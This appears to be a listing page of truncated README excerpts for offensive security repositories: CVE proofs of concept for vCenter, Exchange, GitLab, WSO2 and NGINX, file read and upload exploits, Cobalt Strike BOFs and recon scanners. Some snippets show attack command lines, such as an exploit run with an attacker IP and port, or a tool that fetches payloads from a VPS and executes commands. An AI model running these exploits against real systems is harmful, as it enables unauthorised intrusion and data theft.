VmWare-vCenter-vulnerability

Vulnerabilidades de VMware Lectura arbitraria de archivos no autorizada en VMware vCenter PoC que funciona en versiones anteriores 7.0.2.00100 Consulta de Shodan solo para miembros privados PoC PoC de CVE-2021-21972 | RCE no autorizado en VMware PoC de CVE-2021-21972 PoC de SSRF en VMware | PoC d...

Caboom

Caboom ██████╗ █████╗ ██████╗ ██████╗ ██████╗ ███╗ ███╗ ██╗ ██╔════╝██╔══██╗██╔══██╗██╔═══██╗██╔═══██╗████╗ ████║ ██║ ██║ ███████║██████╔╝██║ ██║██║ ██║██╔████╔██║ ██║ ██║ ██╔══██║██╔══██╗██║ ██║██║ ██║██║╚██╔╝██║ ╚═╝ ╚██████╗██║ ██║██████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║ ██╗ ╚═════╝╚═╝ ╚═╝╚═════╝...

CVE-2024-46987

CVE-2024-46987 – Camaleon CMS Path Traversal Autenticado / Lectura Arbitraria de Archivos CVE-2024-46987 es una vulnerabilidad de path traversal autenticado CWE-22 en Camaleon CMS un sistema de gestión de contenidos basado en Ruby on Rails. Permite a un usuario autenticado incluso con privilegios...

CVE-2025-25279

Security Advisory MMSA-2025-00430 / CVE-2025-25279 Summary After uploading a file to Mattermost Boards, when the fileId parameter is modified and the board is copied, the file now points to and downloads the target file specified in the parameter. Affected Versions: Mattermost instances with Boar...

CVE-2021-39433

CVE-2021-39433 A local file inclusion LFI vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-use...

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...

CVE-2026-1657

CVE-2026-1657: Carga Arbitraria de Archivos sin Autenticación en el Plugin EventPrime Aviso de exención de responsabilidad: Este repositorio se crea con fines educativos y divulgación ética exclusivamente. La vulnerabilidad ha sido reportada responsablemente al proveedor y ha sido parcheada. No...

ADSyncDump-BOF

ADSyncDump BOF El ADSyncDump BOF es un port del adconnectdump.py / ADSyncDecrypt de Dirkjan Mollema a un archivo de objeto Beacon BOF para usarlo con Cobalt Strike, Sliver y Havoc. !NOTE La herramienta ha sido probada en Windows Server 2019 con Azure AD Connect versión 2.2.1.0. La versión de 32...

BRC4-BOF-Artillery

Generic Este repositorio incluye una colección de BOFs genéricos que escribí durante un período de tiempo. Este repositorio se centra únicamente en el portado y la ejecución, sin modificar el código fuente original para mantener la estabilidad. Aunque es posible que realice más pruebas en el...

CVE-2025-30208

Chino | Inglés Escáner de Vulnerabilidades del Servidor de Desarrollo Vite Un escáner automatizado para redes internas y externas Una herramienta automatizada para escanear vulnerabilidades del servidor de desarrollo de Vite. Esta herramienta utiliza la API de FOFA para recopilar objetivos...

CVE-2026-45504

CVE-2026-45504 Exchange File Read CVE-2026-45504 Exchange File Read Research Blog python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2025-62878

CVE-2025-62878: Path Traversal en Local Path Provisioner Resumen Elemento| Valor ---|--- CVE ID| CVE-2025-62878 GHSA ID| GHSA-jr3w-9vfr-c746 Gravedad| Crítica CVSS 10.0 CWE| CWE-23 Recorrido de Ruta Relativa Componente Afectado| rancher/local-path-provisioner Versiones Afectadas| v0.0.27 v0.0.32...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE herramienta, solo para compartir e intercambiar, no la utilice para pruebas no autorizadas, de lo contrario no tiene relación con el autor. -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default...

Inline-Execute-PE

Inline-Execute-PE DISCLAIMER: This project is complex and failure to understand how it works and adequately test it can result in you crashing Beacons and losing access! I highly encourage you to read all of the documentation up until the "Design Considerations and Commentary" section! Introducti...

cve_2022_0847_shellcode

cve20220847shellcode Description This repository contains a Python script genshellcode.py, based on pwntools, to generate a shellcode implementing CVE-2022-0847. The shellcode is based on this Poc: antx. I analyzed the code of the PoC and its execution with strace to catch all the system calls...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 exploit and writeup. Details CVE-2022-29464 is critical vulnerability on WSO2 discovered by Orange Tsai. the vulnerability is an unauthenticated unrestricted arbitrary file upload which allows unauthenticated attackers to gain RCE on WSO2 servers via uploadi...

CVE-2021-24145

CVE-2021-24145 Vulnerabilidad de subida de archivos en WordPress, plugin de WordPress Modern Events Calendar Lite anterior a 5.16.5 https://nvd.nist.gov/vuln/detail/CVE-2021-24145 Orden de instalación y ejecución 1. Instalación de WordPress Durante la instalación, realice el reenvío de puertos en...

nginx-rift-private-lab

NGINX Rift RCE Proof of concept for CVE-2026-42945 , a critical heap buffer overflow in NGINX's ngxhttprewritemodule introduced in 2008. The bug enables unauthenticated remote code execution against servers using rewrite and set directives. This fork extends the original PoC with an ASLR-bypass...

CVE-2023-45878

CVE-2023-45878 GibbonEdu: Escritura arbitraria de archivos para ejecución de una web shell Descripción Este repositorio contiene un exploit para CVE-2023-45878 , una vulnerabilidad de escritura arbitraria de archivos en GibbonEdu. La vulnerabilidad afecta al endpoint rubricsvisualisesaveAjax.php ...

cariddi

Take a list of domains, crawl urls and scan for endpoints, secrets, api keys, file extensions, tokens and more Coded with 💙 by edoardottt Share on Twitter! Install • Usage • Get Started • Changelog • Contributing • License Installation 📡 Homebrew brew install cariddi Snap sudo snap install caridd...